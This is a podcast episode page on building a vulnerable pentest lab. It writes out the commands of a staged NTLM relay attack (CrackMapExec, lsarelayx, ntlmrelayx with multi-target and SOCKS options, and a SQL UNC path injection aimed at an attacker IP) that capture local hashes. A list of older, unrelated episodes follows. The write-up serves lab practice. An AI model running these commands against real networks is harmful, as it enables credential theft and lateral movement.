7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

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In today's episode we staged an NTLM relay attack using a vulnerable SQL server.

First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:

cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt

Then we setup lsarelayx in one window:

lsarelayx --host=localhost

And in a second window we ran ntlmrelayx.py:

python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM

Finally, in a third window we triggered authentication from the vulnerable SQL server:

Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS

Boom! Watch the local usernames and hashes fall out of the victim system.

We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:

victim1 victim2 victim3

Then we tweaked the ntlmrelayx command slightly:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt

Interestingly(?) only victim2 was attacked.

Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:

python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks

Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.

TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

Avsnitt(705)

7MS #57: How to Review a Firewall (audio)

7MS #57: How to Review a Firewall (audio)

In this episode I talk about a few different ways to approach firewall reviews/audits. This document was very helpful in getting my template started. Also check out Nipper if you're looking for a firewall review/audit tool. 7MS #57: How to Review a Firewall (audio)

30 Apr 20158min

7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

A few offtopic things: What you can expect as far as a podcast release schedule going forward Two suspicious charges that showed up on my credit card while out of town! 7MS #56: OFFTOPIC – Catching Up and Blowing Noses (audio)

28 Apr 20158min

7MS #55: OFFTOPIC – What's in Brian's Murse? (video)

7MS #55: OFFTOPIC – What's in Brian's Murse? (video)

Ok I don't really have a murse, but I wanted to do a short video(!) podcast to show you some sorta-security-related gadgets that I've been nerding out on the last few weeks. 7MS #55: OFFTOPIC – What's in Brian's Murse? (video)

22 Apr 20156min

7MS #54: Traveling with a Red Giant (audio)

7MS #54: Traveling with a Red Giant (audio)

If you're concerned about your credit/debit card security, you might want to give Red Giant a try. It's a service that provides a debit card you can unlock *only* when buying something. It's cool. Oh, and Red Giant is NOT sponsoring this episode. If I ever get sponsors, I'll disclose them clearly. :-) 7MS #54:…

16 Apr 20157min

7MS #53: Are You Ready to Get Robbed? (audio)

7MS #53: Are You Ready to Get Robbed? (audio)

Business DR plans are a hugely important – and often overlooked – piece of the infosec puzzle. But what about at home? If you got run over by a bus tomorrow, would you have good plans in place to help your partner/spouse take over the tech side of your household? That's what we're talkin' about…

14 Apr 20157min

7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

It's another off-topic episode today. This one's about how my eight-year-old son is fiercely loyal, and wants to settle a 25-year-old score for me. 7MS #52: OFFTOPIC – My Son is Really Loyal (audio)

9 Apr 20158min

7MS #51: CEH vs. OSCP (audio)

7MS #51: CEH vs. OSCP (audio)

A few people have written in asking whether to pursue the CEH or OSCP (or both). This episode discusses my experience with each cert and hopefully points you in the right direction on which one might be right for you. Here's the article on CEH I mention during the episode – it has much more…

7 Apr 20157min

7MS #50: OSCP – The Final Chapter – part 2! (audio)

7MS #50: OSCP – The Final Chapter – part 2! (audio)

At last, the epic conclusion of the maddening, redeeming OSCP journey. 7MS #50: OSCP – The Final Chapter – part 2! (audio)

2 Apr 20157min

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